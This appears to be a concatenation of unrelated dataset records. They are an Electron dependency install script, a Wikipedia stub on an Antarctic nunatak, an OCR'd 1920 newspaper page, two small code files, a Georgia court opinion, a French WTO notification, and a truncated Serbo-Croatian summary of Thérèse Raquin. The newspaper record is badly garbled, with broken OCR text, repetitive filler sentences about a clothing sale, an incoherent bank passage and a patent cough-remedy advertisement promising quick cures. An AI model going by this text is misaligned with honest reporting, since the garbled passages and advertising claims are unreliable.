https://github.com/taromero/meteord/blob/master/base/scripts/lib/install_electron_dependencies.sh | Github Open Source | Open Source | MIT | 2,017 | meteord | taromero | Shell | Code | 14 | 52 | apt-get update &&\
apt-get install -y libgtk2.0-0 libgconf-2-4 \
libasound2 libxtst6 libxss1 libnss3 xvfb
| 48,690 |
https://en.wikipedia.org/wiki/Meda%20Nunatak | Wikipedia | Open Web | CC-By-SA | 2,023 | Meda Nunatak | https://en.wikipedia.org/w/index.php?title=Meda Nunatak&action=history | English | Spoken | 166 | 337 | Meda Nunatak (, ‘Nunatak Meda’ \'nu-na-tak 'me-da\) is the rocky ridge extending 2.65 km in west-northwest to east-southeast direction, 700 m wide and rising to 1128 m in Attlee Glacier on Foyn Coast, Antarctic Peninsula.
The feature is named after Meda of Odessos (4th century BC), a Thracian princess and wife of Philip II of Macedon.
Location
Meda Nunatak is located at , which is 15.35 km southwest of Bastion Peak, 8.8 km west-northwest of Fitzmaurice Point and 6.52 km northeast of Gluhar Hill. British mapping in 1974.
Maps
British Antarctic Territory: Graham Land. Scale 1:250000 topographic map. BAS 250 Series, Sheet SQ 19-20. London, 1974.
Antarctic Digital Database (ADD). Scale 1:250000 topographic map of Antarctica. Scientific Committee on Antarctic Research (SCAR). Since 1993, regularly upgraded and updated.
Notes
References
Meda Nunatak. SCAR Composite Antarctic Gazetteer.
Bulgarian Antarctic Gazetteer. Antarctic Place-names Commission. (details in Bulgarian, basic data in English)
External links
Meda Nunatak. Copernix satellite image
Nunataks of Graham Land
Foyn Coast
Bulgaria and the Antarctic | 32,302 |
sn83045462_1920-12-20_1_22_1 | US-PD-Newspapers | Open Culture | Public Domain | null | None | None | English | Spoken | 4,073 | 5,949 | Electrical Gifts For the Entire Family are so many cleverly useful as well as ornamental electrical services that there's an appropriate gift for the illustration. Ironing Machines, Vacuum Cleaners, quite a number of small electrical services for the tablet. Drop in and look around. Carroll Bectric Company 714 12th St. Main 7320 The Shop That Made 12th Street Famous Philadelphia Diamonds for the convenience of those who wish to secure Diamonds or other Gems on which there can be no question regarding the quality or the value an Illustrated Booklet has been prepared which will be mailed upon request Fedding Invitations? Wouncenienta and Invitations Reception Invitations? Debut Invitations Dinner Invitations? Dance Invitations Dance Cards! Social Stationery for all occasions Samples mailed upon request. Come and See Low Prices Wonderful Assortment of Electrical Gifts? Electric Irons Electric Stand Lamps Electric Toasters Electric Washers Electric Waffle Irons Electric Vacuum Cleaners Electric Percolators The Great White Light Large Selection of Silk Lamp Shades YOU'LL BE AGREEABLY SURPRISED AT OUR LOW PRICES Library Offices in 12th St. and 616 on 12th St. Lamps If It's From Muddiman, It's Good. Boxed Apples For Christmas Gifts Remit us $3.90 and we will deliver in the City, or ship by express, prepaid to any address within two hundred and fifty (250) miles of Washington? One Box of Fancy Pack York IMPERIAL APPLES? or three (3) boxes to different addresses for $11.00? These Apples are famous for their superior cooking and cooking qualities, were grown on one of the finest orchards in Shenandoah Valley, Virginia, and are sold direct from the growers through GOLDEN & COMPANY, WA&HOIGTON, D.C. THE PRINCESS BY A LIST OF LAST August the French dressmakers exhibited to Americans the draped one-piece frock which had been exploited at the June races in Paris. It is at these races that one batches for the styles that are to be worn. The journalists and the buyers who must watch straws on a current rather than clouds that have passed saw in these princess gowns a direct challenge to the medieval frock fashioned on lancelike lines. Of course, the medieval frock also was draped in much the same way that the new princess gowns are draped. But we do not give them the name of that epoch. Only the actresses and mannequins wore these frocks that seemed to be invented for the sole purpose of bringing the fabric up to one hip, but the chance for a change from the ubiquitous chemise robe made the eminent women quickly go to their dressmakers for a try at this new fashion. It is not possible to say that the style, important as it is, has made women abandon the chemise robe, but it has given the latter style a severe jolt. The draped frock as it is now worn has its dangers. The woman who possesses curves below the waist should be very sure that she has an artist in her line. It is unpleasant way of getting drawn too closely across the end of the apine. This produces undue breadth. It brings into full revealment a defect that every woman strives to conceal. So dangerous is this movement of drapery to any but the slim and curveless figure that one of the distinguished designers in New York has changed all her models which have this feature to a more attractive. In type of drapery across the spine, making a straight panel down the middle and hinding ugliness. But the original frock is in full fashion. It is now worn in America by large numbers of well-dressed women. Those who have flat spines find it excessively graceful. The sketch shows it done in fine velvet, the square neck; lined with a wide white organdy collar. It is worn by a French actress who leads and does not follow. The knowledge that this thing is done may be of interest to women who are unable or unwilling to wear the dark gown of opaque stuff without a touch of white at the waist. The French designers are sending many brilliant frocks of thick fabrics trimmed with organdy to the south. This is not a new fashion, but one that was held in abeyance for several months. It has been reinstated by those in authority and may prevail for the spring months. The drapery on the hip, which is the main subject of this story, is the only by-word. The short-hair fad is the only subject of this story, is the only by-word. The Short-Hair Fad. PARIS, December 16.?When I am at home I receive a great many letters from women wishing to know whether short hair is fashionable and whether it is likely to remain so. I can tell them now that I have seen an amazing amount of short hair in the largest cities of the world, London, Paris and New York. I do not know, of course, whether that answers the question or not. As a general thing, we look to Paris for our inspiration in fashions and yet I believe, that the short-hair fad originated in New York and traveled least. And certainly the new dances which were considered so revolutionary a few years ago, and which Paris is still dancing, originated on our own California coast. But whether we started the short-hair fad or not, it is certainly popular here. In the fashionable restaurants during tea at the Kitz and at the opera and theater one sees bobbed heads everywhere. HOME ECONOMICS. BY HIRAM MACKAY. Turkish Delight. If it is good, A good home-made twine Turkish delight. It is wholesome and not difficult to make. With a judicious use of good coloring matter and various flavors, it may be made very attractive. Hook a box of six ounces of gelatin in half a cupful of cold water for two hours. Use one pound of granulated sugar in half a cupful of cold water, and bring it to the boiling point, stirring constantly. Then add the gelatin, stirring only enough to mix it in thoroughly, and boil twenty minutes without stirring. Be sure to use a large and deep saucepan, because it boils up very high. Add the juice and rind of one lemon and one orange, or divide these two flavors, or, if you like, ginger, add a teaspoonful of powdered ginger to the mixture. Part of the lemon-flavored candy. Good red or green coloring may be added at this point. Then pour the candy into basins wet with cold water, so that it stands an inch thick. When cool, cut it into squares and roll them in powdered sugar. This is a pure, good candy, and, as the amount made by this recipe is considerably more than a pound, it is not, compared to the cost of bought candies now, expensive. There are few people who would not rather have a box of well-made home candies than any other kind. But homemade candies should be well made and fit to look at and touch. Messy stuff is not palatable just because it is homemade. Useful Cheesecloth. A bolt of cheesecloth, coating like a glove, is a good investment for the housewife. Covering things, either food, milk or cooked fruit, while they cool, is a problem more or less troublesome. Solid covers give a bad taste and a worse smell: wire-gauze covers are likely to rust from the condensing of vapor; loose cloths sag just when and where they should not. The remedy is to use cheesecloth covers. To make them, cut rounds, ovals or squares of the cloth, an inch larger than the things they are to cover, with a further two-inch allowance for the hem. Sew the hem a heavy clothesline wire, shaping it to the cover and joining the ends firmly. ITYLE OF GOWN. AHTKHXOON I 'JtOCK OF BLACK VELVET ALGHT AT? IVE HIV AND SHOWING WITH WHITK "COVUGS SHOFLDUKS." NOTICE THE LONG SLEEVES. Innovative, proper to the act of the legislature, but it is evident. Trust to put the whole, 'emotion. The waist lino wrinkles as an ; aftermath. That trick in itself is an \ i innovation. j It is so universally fashionable 1 JLhat t?*e permanent wave people have originated a special method of curl, iner short liair and the milliners are turning' out quantifies of the most attractive hats made to cover closely cropped locks ami to fit snugly over the head. And these hats, by the way, fashioned of soft suede, velvet : or plaited fuzzy braid, are most de. lightful to see. ; Headdresses also have been made [ specially for the woman with short j hair. There are - bandeaus to go ; straight across the forehead and t fasten in back. The edges of the | j hair are then curled up and out. so j ; as to make a mass of soft wariness ; i around the head b? low* the bandeau I Jfor the lady vvhos h;tir is straight i , ahd short but whose pro tile must !? : good, there bre gleamine metal bands | or glistening chains which bind the : head and hold a scarab or a single ! largo colored stone directly in the center of the forehead. This some} what l&gyptian style {roes very well | with certain straight lines in even1 Ins dresses which I have seen. It will hang over the edges of the vessel to be covered, weigh down the cheesecloth and keep it fant, and yet i>ermit the escape of heat, and vapor. The covers must be scalded daily if they are in constant use; they dry quickly and the wire does I not ''rust. About once a inoifth they should be boiled for ? half an hour after writing tlic.m thoroughly in I white so*, pst'ds. To make a bread-and-cake Cooler, 1 tack wide-meshed non-rusting wire firmly over a bottomless box about three inches deep. Then sheets of cheesecloth double the size of the box, spread half the sheet on the wire, lay on it the hot bread or cake and cover with the other half. The loaf will not turn soggy and clammy; it will be crisp, soft and light within. Cuticura Talcum is Fragrant and Very Healthful. Simple free of Cuticura Laboratories. Delightful, Maid, Mm. 25c. How to Make Pine Cough Syrup at Home. No equal for prompt results. Take but a moment to prepare and save about $2. Pine is used in nearly all prescriptions and remedies for coughs. The syrup is a combination of pine and syrup. The "syrup" part is usually plain sugar syrup. To make the best pile cough remedy that money can buy, put 2½ ounces of Pine in a pint bottle, and fill up with homemade sugar syrup. Or you can use clarified molasses, honey, or corn syrup, instead of sugar syrup. Either way, you make a full pint more than you can buy ready-made for three times the money. It is pure, good and tastes very pleasant. You can feel this take hold of a cough or cold in a way that means business. The cough may be dry, hoarse, and tight, or may be persistently loose from the formation of phlegm. The cause is the same—inflamation, and this Pinex and Syrup combination will stop it usually in 24 hours or less. Splendid, too, for bronchial asthma, hoarseness, or any ordinary throat ailment. Pinex is a highly concentrated compound, and is famous the world over for its prompt effect upon coughs. Beware of substitutes. Ask your druggist for "2½ ounces of Pinex" with directions, and don't accept anything else, guaranteed to give absolute satisfaction or money refunded. The Pinex Co., Ft. Wayne, Fashionable Tea Gowns. A tea gown must reflect individuality, and color is one of the most important mediums through which individuality is expressed. If a woman is of a quiet disposition, she should dress accordingly, and wear soft draperies in shades that suit her personality. If she is pale and sallow, she should choose shades such as medium taffeta will keep her checks. Ruddy complexioned women should choose cool shades, such as violet and blue. Tea gowns of striking color and unique design share the honors with the fluffy ruffle variety. Rose taffeta and chiffon are correct materials to enhance the freshness of youth. A gown of these materials is decorated with a tiny basket made of French-blue silk cleverly fastened at the left side to imitate a pocket. Another costume of flame color and silver brocade is made with a loose, short jacket of the silver brocade, with a flame-colored chiffon train hung from the shoulders, while silver cloth forms the skirt, with the ankle openings trimmed with silver beads. Black and white are cleverly combined by embroidering white chiffon in black in an all-over pattern. The chiffon forms the upper part of the frock and the long, square cap that falls to the floor and for a train, while white chiffon, tightly pleated, makes the body of the robe, finished at the hem of the skirt with black ribbon and flowers. Another robe of black lace and chiffon has the skirt cut in deep points at the hem and decorated with silk embroidered rose petals of many shades of rose and pink. Long trailing sashes and trains of floating chiffons are not worn on tea gowns by elderly women with dignity and noise. These women are owned in velvets, metal cloths, and laces are beautifully combined for the formal hostess's gown, or for any other purpose. occasion of dignity. A very new design in negliges is a plain costume of velvet and silk, the jacket being made of the silk, the collar and cuffs of the velvet, and the trousers of velvet. This very fine design is made in a very different combination of colors. A gown of a soft claret ton is embroidered in green. Evening slippers will have the popular azure strap. Many new models are made on Revere, mill at Hanes. Here's Real Economy! Seconds of 51-56 Window Shade 69c. Oil Opaque and Holland-Finish. Good shades are not affected in service. Hollers a perfect. They come in white and colors. Because they are rated 2 seconds you can save more than the cost. Supply your home tomorrow. Gifts for Famous "Artier" A Sio, $12 and $1.50 patterns. All new flowing style with flowing style with patterns. Bath Robes, $4.95. Men's Fine Blanket Robes, in Be tired and Indian pattering: roll collar; bound with fancy cord. Heavy Rirdle. I Belt Sets, $1.00 [ := cmuine llickok Bolt Set, conS sisiinx of solid leather belt and ;S n' 1., I silver initial buckle; in Z. a if I b'iv I j Gift Hanc j s p Boys' Spoft I Children's 13 ! S colored figures in ' ? flBMBt Men's Fine < = chiefs, all white, s _ Women's Da ; ; Women's Plain White Soft-tini 2 {shed Handkerchiefs, with corI S tiers embroidered | /%>/ I ? In white, and colors. I /.'sZ.C |S Bach ' j S Womeu> Kseelleut Quality ; 2 White Handkerchief a, with |2 corners embroidered In a q I s white and colors. :i for I oC I ? -Vic/ Each I Gift Bat = r. WOMEN'S 1 E jft in lloral and pi 5 Jyi with* cord-bound 5 IrUk trimmed = mm WOMEN'S I 2 ?ZV. mid uncommon i E for Xmas sell E JORHjft trimmed. Be4 E seen 5 Women's Besa 5 1 1,*ht and rtark | 3 -?iL-- Satin-trtmim'd. L | Corduroy Robes, $5.98, E $7.98 and $12.50 5 Ix?ose robes and breakfast, coals 3 of wide-wale corduroy, -with set-in 3 sleeves. pockets and girdles. ~ Hose, 'eopen and cherry. Eiiiiiiiiitiiiitiiiiiiiiiiiiiiiiiiniiiiiitiiiiiii < ?. ,1HOW MUCH COLOR? 1 ; 1 | Styles In colors in furnishings cer- I tainly go in cycles. We have just j passed through a period when color was quite out of favor and we are now getting quite slowly?and with j some of us, reluctantly, too?back to I a period of color. The reason doubtless for the period i Ct f cnlnrlpua fiimielil?<r> < - <\ a 1m nil r rooms had. been so badly colored. We had lived in a hodge-podge ot colore. and the only way we could adjust matters and harmonize our surroundings quickly was to do away with almost all colors. Hence the dull browns and butts, the lunterless oak tones, the burlap couch covers, the butt and oatmeal walls and the antiseptic wo had for any high luster on furniture. Everywhere we found that, though in the hands of most persons there are legs dangers in the drab colors, they are painfully lacking in spirit. The room that has bright color of some sort is actually bracing; it makes your pulse beat faster, makes dull eyes sparkle and counteracts the effects of gray winter weather. There are certain time-honored conventions as to what part of our room may carry the color. It has been generally agreed that while our walls are not filled with ornate paper, our floors must be painted and our ceilings light and unadorned. The overhanging and portieres may be colored, but the hangings next the window must be cream or white or possibly yellow. Our ornaments may be colored as we will, but our furniture must possess only the color with which wood is endowed by nature brought out by varnish and stain. But all these notions are being challenged. The decorators now are offering us orange chairs and light green cedar chests. Castoria is a great choice for infants and children. In use for over 30 years, this sale is a great opportunity to get quality garments at significantly reduced prices. This sale is a great opportunity to update your wardrobe with high-quality garments at significantly reduced prices. This sale is a great opportunity to update your wardrobe with high-quality garments at significantly reduced prices. Whether you're looking for a new pair of trousers, a pair of trousers, or a pair of trousers, this sale is a great opportunity to update your wardrobe with high-quality garments at significantly reduced prices. For those looking for something more substantial, this sale is a great opportunity to update your wardrobe with high-quality garments at significantly reduced prices. This sale is a great opportunity to update your wardrobe with high-quality garments at significantly reduced prices. This sale is a great opportunity to update your wardrobe with high-quality garments at significantly reduced prices. Whether you're looking for a new pair of trousers, a pair of trousers, or a pair of trousers, this sale is a great opportunity to update your wardrobe with high-quality garments at significantly reduced prices. So, whether you're looking for a new pair of trousers, a pair of trousers, or a pair of trousers, this sale is a great opportunity to update your wardrobe with high-quality garments at significantly reduced prices. For giving. Handkerchiefs Handkerchiefs, with colored border hemstitched hand-embroidered handkerchiefs, with fancy corners; three in novelty 39c Quality Pure Linen Handkerchiefs, with embroidered initial, linty Hand-embroidered Handkerchiefs, worked in white. 25c 1 Urn! Parr 1 i?,n Handkerchiefs, nicely hemmed, pa Inexpensive Rifts, at each Both Plain White and Embroidered Initial Handkerchiefs, Initial In white or colored colors, for $1.50. Back Robes "INE BLANKET CLOTH ROBES, laid patterns. Mostly Imitation collars; some satin $4.95 IATH ROBES of beautiful quality workmanship just arrived in time making. All are satin for values than any $5.98 with Robes, $6.98 Beautiful Beacon Blanket Bath Robes patterns. Shawl collar, two pockets, arte cofd and tassels. Long Crepe Kimonos $1.98 Loose and Empire styles in Lawn, blue, lavender and purple. Leek, "purple beds and lemon-colored dressmaking tables. And the idea is not much a bad one. One must remember that almost anyone could dabble in the old buffets and autumnal browns, but it takes discretion and a good eye to play with these new brilliant hues. Join Our Xmas, Society for Savings "The Department Permanent Home, 1714 Temporary COO 1 Location J 4% Monday Savings Vacation Opens December 13th, 1920, at 522 13th St. WEEKLY 1 Day Every Monday Moral of? $ 25 for 50 weeks .50 for 50 weeks .75 for 50 weeks 1.00 for 50 weeks 125 for 50 weeks 1.50 for 50 weeks 1.75 for 50 weeks 2.00 for 50 weeks 5.00 for 50 weeks 5.00 for 50 weeks Select as many as you can regularly. List of Useful Ready Tomorrow! Comers All 1 to 6 Years Get them! Here are 50 dozen but they'll go in a hurry to get. Made of gingham, linens. Le Dutch bloomers with piped S onibinations. Also some in solid Gift Gloves C Boys' and Girls' ja Suede Gloves, tie ? school wear. Gift My Women's Mocha Women's Cap? ? contrast backs. It V. C? -1. I -? 1 * uracil & richly lined quality, in tan, brown, black and trast backs Kirk Gloves?Real ' French Kid. beautiful pliant quality, with plain and novelty ornaments; embroidered. All the wanted shades A -y fk J? and black. Gifts for blankets?New in white and gray The kind that sol l?m prices up until no Blankets?High Fancy Towels? , bath towels, in plain i i - white: plaids and f Beads or Bedspreads Sets?Beautiful sa >pread and bolster cover to match and yellow scalloped-cut corners Boxed. Napkins?Mer e e r i z e il damask Table napkins, hemmed ready for use and nicely boxed? "0x20 size, half dozen $1.25 Gifts for A Boys' Polo and H others with he*v; colors. Special... Boys' All-wool duality for gifts, h 4111 pockets. Navy, maroon Boys' Neckwearm pattern; like Dade, silk windsor ties, In Boys' Shirts of madras, in mannish worth giving...... Boys' All-rimmed Suits, with two pairs pants. At odds to sell for $15 and $18. Many rich patterns. Yoke back with inverted pleat, or plain? S TCT backs. Smart belted models... Overcoats, Y nunsrer b o y e' smart overcoats of chinchilla, aibeline and heavy plain cloths. High neck, Double-breasted with belt?-lotJi- A> tined Sires 3 to 11. Paris trims some broadcloth overgarments with fur. The sleeve must be of a lighter length. As Crab Nowings and Loans, the central bank of Pennsylvania Avenue, 13th Street, offers Christmas and New Year's gifts at New Home, 17th and Pennsylvania Ave. This holiday season, with an emphasis on savings, is a great opportunity to save. With an emphasis on savings, the bank offers a wide range of savings, including savings for those in need of financial assistance. The bank also notes that savings are available at a discounted rate, making it a worthwhile investment for its customers. 2S0.00 4.50 2S4?carry?maVc tlir deposit !: ivben in need of funds, do r< j ??i < ivhen in need of funds, do r< j ??i < ded funds end continues tl avings Account if paid will ;, ? 4 llllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllll Rep Brauntlels Capeskin and kid, including cloth The latest styles, including cloth Heaver, brown and tan. $3.75 to $6.00 The Home Jurassic wool-finished blanket With colored border; boy A great deal higher? A Fair trade part-wool blanket. i white with wide pink or 1 r iet a supply now at. ^ d.0<> heavy. double-pile Turk- ^ : and white and blue and . ? igut?d patterns. Each.. J.'i. ~ tin Marseilles sets, consisting . = : white, blue, pink ^ J 2 30 ^ Be?l?prcaa??A r.ew purchase . S ;i lower price of the game Heyvj ? white crocheted Spreads \vi ~ until last week for tf? a Afl ? t'-.SS; T4xM. The*l.y?> = uew price is ~ ~ r Boys | ockey Caps, some snugly knit:- = i' brushed finish. All nfi - ? yot fe Sweaters, of exceptionally line E lade with shawl collar and k"" jr .b :v;n.*nd $8.98 1 -Handsome silk tour-fa-hand*. s i's; also plenty of large iQr ~ i plaids and plain colors ~ highest quality, of fine crepe s sh patterns. Gifts 25 ~ Shirts?:Xmas sale of tinjrf fine 2 quality percale shirt*: xtrhll* 3 fast colors. Simon l: to 14 ? neck. Better shirts As X.i\ H i>n#ct?lly pried. ^ | ,OV ? Smrkimmm?New p ti r e h ? - ~ fine blanket plaid mat-luna- S made to sell for tin and 11* A ? handsome as they sra war" ?-rvle??H?. g^ aq S .rust the thing for Jg) UQ *ih?pt . . ? * ? ? *. | 49,813 |
https://github.com/anzemur/framework-2/blob/master/packages/rawmodel-validators/src/validators/array-exclusion.ts | Github Open Source | Open Source | MIT | null | framework-2 | anzemur | TypeScript | Code | 41 | 89 | import { arrayInclusionValidator } from './array-inclusion';
/**
* Returns a function for detecting values that do not exist in the array.
*/
export function arrayExclusionValidator(options: {
values?: any[];
} = {}) {
return (value?: any) => {
return !arrayInclusionValidator(options)(value);
};
}
| 25,267 |
https://github.com/taneba/amplify-js/blob/master/packages/amplify-ui-components/src/components/amplify-auth-container/amplify-auth-container.tsx | Github Open Source | Open Source | Apache-2.0 | 2,021 | amplify-js | taneba | TSX | Code | 48 | 156 | import { Component, h, Host } from '@stencil/core';
/**
* @slot (default) - Content placed within the container
*/
@Component({
tag: 'amplify-auth-container',
})
export class AmplifyAuthContainer {
render() {
return (
<Host>
<form autoComplete="on" hidden>
<input name="username"></input>
<input name="password" type="password"></input>
<input type="submit"></input>
</form>
<slot></slot>
</Host>
);
}
}
| 42,861 |
5569494_1 | Court Listener | Open Government | Public Domain | null | None | None | Unknown | Unknown | 454 | 533 | Cobb, J.
The case of Reid v. Whitton was tried at a term which lasted longer than thirty days. During the term and within thirty days from the trial a motion for a new trial was filed by the losing party, and an order was passed of which the following is a copy: “ Ordered that the plaintiff show cause before me at such time and place as the court may fix, after notice of ten days to each party or their attorneys, why the foregoing motion should not be granted. Let the brief of evidence be presented for approval on or before the date aforesaid, or in default thereof the motion will be dismissed.” The .motion came on for a hearing on a day more than thirty days from the date of the trial. A brief of evidence was presented for. approval on that day, but, the same not having been filed within thirty days from the date of the verdict, the judge declined to approve it, and upon motion dismissed the motion for a new trial on this ground. To this ruling the movant excepted.
There being nothing in the order passed by the judge in regard to the hearing of the motion for a new trial which allowed *175the movant more than thirty days in which to file the brief of evidence in order to perfect the motion for a new trial, it was essential that the brief should be filed within thirty days. When thus filed it was in a condition to be presented for approval under the terms of the order. Until it was actually filed in the clerk’s office or some action taken by the judge which would be equivalent to a filing, the brief of evidence was not ready to be presented for approval, and when presented in this condition the judge was not required to approve the saíne or to pass any order concerning it. It is true that in the cases of Hightower v. George, 102 Ga. 549, and Malsby v. Young, 104 Ga. 205, it was held that if the judge approved the brief and passed an order directing it to be filed, this was the equivalent of a filing. In the present case the judge did not approve the brief or pass, any order directing it to be filed, but declined to do either. The brief when presented not having been filed, and the judge having taken no action which would, under the rulings above referred to, dispense with the actual filing in the clerk’s office, there was no error in dismissing the motion for a new trial forthe wantof abrief of evidence filed according to law.
Judgment affirmed.
All the Justices concurring.
| 34,125 |
R_G_SPS_NSLV97A1_1 | WTO | Open Government | Various open data | null | None | None | French | Spoken | 435 | 836 | . /. ORGANISATION MONDIALE
DU COMMERCE G/SPS/N/SLV/97/Add.1
4 mai 2011
(11-2313)
Comité des mesures sanita ires et phytosanitaires Original: espagnol
NOTIFICATION
Addendum
La communication ci-après, reçue le 2 mai 2011, est distribuée à la demande de la délégation
d'El Salvador.
_______________
Directive sanitaire et phytosanitaire centraméric aine visant à faciliter les échanges de produits
d'origine végétale et animale
La République d'El Salvador annonce la prol ongation du délai prévu dans la notification
G/SPS/N/SLV/97 du 1er mars 2011.
Le délai pour la présentation des observations est prolongé de 30 jours à compter de la date
limite (30 mai 2011).
Le présent addendum concerne:
[X] Une modification de la date limite pour la présentation des observations
[ ] La notification de l'adoption, de la pub lication ou de l'entrée en vigueur d'une
réglementation
[ ] La modification du contenu et/ou du champ d'application d'un projet de
réglementation déjà notifié
[ ] Le retrait d'une réglementation projetée [ ] Une modification de la date proposée pour l'adoption, la publication ou l'entrée en
vigueur
[ ] Autres:
Délai prévu pour la présentation des observations: (Si l'addendum élargit le champ
d'application de la mesure déjà notifiée, qu 'il s'agisse des produits visés ou des Membres
concernés, un nouveau délai, normalement de 60 jo urs civils au moins, pour la présentation des
observations devrait être prévu. Dans d'autres ci rconstances, comme le report de la date limite
initialement annoncée pour la présentation d es observations, le délai prévu dans l'Addendum
pour la présentation des observa tions peut être différent.)
[ ] Soixante jours à compter de la date de distribution de l'addendum à la notification
et/ou (jj/mm/aa) : 30 mai 2011 G/SPS/N/SLV/97/Add.1
Page 2
Organisme ou autorité désigné pour traiter les observations: [X] autorité nationale
responsable des notifications, [ ] point d'info rmation national. Adresse, numéro de fax et
adresse électronique (s'il y a lieu) d'un autre organisme:
Entité auprès de laquelle le texte peut être obtenu: [ ] autorité nationale responsable des
notifications, [X] point d'information na tional. Adresse, numéro de fax et adresse
électronique (s'il y a lieu) d'un autre organisme:
Ministerio de Economía (Ministère de l'économie)
Dirección de Administración de Tratados Comerciales (Direction de l'administration des traités
commerciaux)
Alameda Juan Pablo II y Calle Guadalupe Pl an Maestro San Salvador (El Salvador)
Téléphone: +(503) 2247 5788 Fax: +(503) 2247 5789 Courrier électronique: [email protected]
Consejo Nacional de Ciencia y Tecnología – CONACYT (Conseil national de la science et de la
technologie)
Colonia Médica, Avenida Dr. Emilio Álvar ez, pasaje Dr. Guillermo Rodríguez Pacas, #51
Téléphone: +(503) 2234 8416 Fax: +(503) 2225 6255 Site Web: http://www.infoq.org.sv/
Courrier électronique: [email protected]
__________.
| 33,023 |
https://sh.wikipedia.org/wiki/Th%C3%A9r%C3%A8se%20Raquin | Wikipedia | Open Web | CC-By-SA | 2,023 | Thérèse Raquin | https://sh.wikipedia.org/w/index.php?title=Thérèse Raquin&action=history | Serbo-Croatian | Spoken | 1,024 | 2,095 | Therese Raquin je jedan od najpoznatijih naturalistiških djela francuskog pisca Emilea Zole, izdan 1867. godine kao roman, a prvi put izvedeno kao dramsko djelo 1873. godine. Roman je objavljivan u nekoliko nastavaka u novinama "L'Artiste" 1873. godine.
Fabula
Gospođa Raquin bila je već starija žena koja je odgojila svog sina Camillea i nećakinju Theresu. Budući da je njezin jedinac bio boležljiv i često bolestan, morao je uzimati lijekove. Zbog njega, lijekove je uzimala i Therese jer ih on nije htio popiti ako ih ona nije popila prije njega. Trovali su zdravu Theresu i odgajali ju na takav način da je postala povučena, tiha i ravnodušna prema svemu. Dok je njen bratić, Camille, postao jako egocentričan (cijeli je život bio u centru pažnje svoje brižne majke). Theresu je gospođa Raquin primila u kuću kad je imala dvije godine, doveo ju je njen otac kapetan Degans koji je netom došao iz Alžira. Rekao je svojoj sestri kako je djevojčica rođena u Oranu od majke alžirke, urođenice. Nakon toga je otputovao natrag u Alžir gdje je nakon nekoliko godina i poginuo. Gospođa Raquin je odlučila da joj se sin i nećakinja vjenčaju jer je znala da je Therese brinut za njenog boležljivog sina ako se njoj nešto dogodi. Osam dana nakon vjenčanja Camille je odličio da se iz Vernona odsele u Pariz jer je htio raditi u velikoj administraciji. Napustili su kuću na obali Seine i smjestili se u prolazu du Pont-Neuf. Camille se zaposlio u administraciji Kompanije orleanske željeznice dok su gđa. Raquin i Therese radile u dućančiću sa sitnom robom. Camille je pogotovo nakon dobitka novog posla smatrao Therese beskorisnom i tupavom osobom, a ona je samo bila zatvorena u sebe. Četvrtkom uvečer obitelj Raquin je primala goste. Gđa. Raquin je u Parizu srela svog starog prijatelja – policijskog komesara Michauda koji je dolazio sa svojim sinom Olivierom I njegovom suprugom Suzannom. Camille je bio ljubomoran na Olivierea jer je imao plaću od 3 000 franaka, a on samo 100. Uz njih, dolazio je I stari namještenik iz Camilleovog ureda – Grivet. Therese su te večeri umarale, a svih je smatrala dosadnima te bi najčešće samo zurila u pod i mazila prugastog mačka Francoisa. Jednog četvrtka na večeri im se pridružio I Laurent, Camilleov prijatelj iz djetinjstva koji je došao u Pariz na studij, no sve je očeve novce potrošio na zabavu jer je živio sa slikarom. Tako je odlučio naslikati Camilleov portret. Theresi se on doimao jako dragim I ona je počela gajiti neke osjećaje prema njemu. Tako ju je jednom, dok Camillea nije bilo, Laurent strastveno poljubio. Od tog su se dana oni osam mjeseci redoviti viđali i dijelili strastvene trenutke dok je Camille bio na poslu, a gospođa Raquin radila u trgovini. Osam mjeseci je Laurent izbivao dva sata za vrijeme ručka te bi svakim danom trčao do prolaza du Pont-Neuf kako bi što prije stigao do Therese. No, kad mu je šef zaprijetio da će ostati bez posla ako nastavi tako izbivati – njihovi su sastanci postali sve rijeđi. Samo jednom je Therese uspjela otići od kuće izmislivši da joj gost dućana duguje novac i poći do Laurenta. Tada su shvatili da moraju nešto poduzeti jer se ne mogu više tako često viđati. Laurent je predložio Theresi da pošalje Camillea na put no to je bilo neizvedivo. Tako su posljednje jesenske nedjelje odlučili poći do Saint-Quena u šetnju, htjeli su iskoristiti lijepo vrijeme prije nego što stvarno zahladi. Ležali su i spavali na travi, a naposljetku sjeli u restoran i naručili jelo ali su im kuahri rekli da će biti spremno tek za sat vremena pa se Laurent dosjetio da bi mogli iznajmiti čamac i malo veslati Seinom. Iznajmio je najslabiji čamac i kad su odveslali dovoljno daleko od obale Laurent je gurnuo Camillea u vodu, a Camille mu je odgrizao komadić mesa na vratu. Vratili su se na obalu i rekli da je Camille slučajno pao u vodu, a kako nije znao plivati utopio se. ubojice je počeo progoniti taj zločin, a Laurent je svakodnevno odlazio do mrtvačnice Morgue da vidi ako su našli utopljenikovo tijelo. No, njegovo se tijelo pojavilo tek nakon 3 tjedna. Dvije godine nakon Camilleove smrti Michaud i gđa. Raquin su se složili kako bi bilo najbolje da se Therese uda za Laurenta koji je već dugi niz godina dobar obiteljski prijatelj. To je tako i bilo. Supružnici su u tom vjenčanju vidjeli spasenje jer ih je već neko vrijeme pratio utopljenikov lik kad su uvečer bili sami te su mislili da će vjenčanjem Camille nestati. No, bilo je još gore. Prvu bračnu večer se nisu niti mogli pogledati od srama, jako su patili i bili uplašeni. Činilo im se čak da njegov leš spava između njih. Noću ne bi spavali, stalno su se svađali. Prvih par mjeseci njihovoh braka gđa. Raquin im je jako pomogla – njene su ih priče smirivale. No, starica je ostala nijema I nepokretna, a bračni se par svađao pred njom I raspravljao o ubojstvu njenog sina. Ona je 